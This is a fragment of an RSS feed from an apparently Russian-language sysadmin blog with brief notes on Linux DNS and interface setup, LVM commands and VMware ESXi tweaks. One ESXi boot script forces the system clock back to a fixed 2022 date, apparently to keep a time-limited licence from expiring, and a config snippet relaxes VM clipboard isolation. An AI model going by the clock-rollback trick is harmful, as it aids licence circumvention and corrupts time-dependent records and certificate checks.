'<password>';"https://fruw.supa.dog/posts/linux-network/Fri, 25 Nov 2022 15:34:46 +0500https://fruw.supa.dog/posts/linux-network/Настройка DNS и домена В файл /etc/resolv.conf необходимо добавить следующие строки: search <domain> nameserver <dns-server> Статика В файл /etc/network/interfaces.d/<interface> необходимо добавить следующие строки: auto <interface> iface <interface> inet static address <ip-address> netmask <netmask> gateway <gateway> DHCP В файл /etc/network/interfaces.d/<interface> необходимо добавить следующие строки: auto <interface> iface <interface> inet dhcphttps://fruw.supa.dog/posts/vmware-restart-date/Fri, 25 Nov 2022 15:18:00 +0500https://fruw.supa.dog/posts/vmware-restart-date/Изменение скрипта В файл /etc/rc.local.d/local.sh необходимо добавить следующее: #!/bin/sh ++group=host/vim/vmvisor/boot esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0 exit 0https://fruw.supa.dog/posts/vmware-clipboard/Fri, 25 Nov 2022 15:08:00 +0500https://fruw.supa.dog/posts/vmware-clipboard/Изменение конфига В файл /etc/vmware/config необходимо добавить следующее: vmx.fullpath = "/bin/vmx" isolation.tools.copy.disable="FALSE" isolation.tools.paste.disable="FALSE"https://fruw.supa.dog/posts/lvm-base-commands/Fri, 25 Nov 2022 13:58:10 +0500https://fruw.supa.dog/posts/lvm-base-commands/Установка пакекта apt -y install lvm2 Создание pvcreate /dev/sda vgcreate vg-name /dev/sda lvcreate -L 10G -n lv-name vg-name Изменение vgextend vg /dev/sdb lvresize -rL +1G /dev/vg-name/lv-name lvresize -rl +100%FREE /dev/vg-name/lv-name Просмотр pvs vgs lvs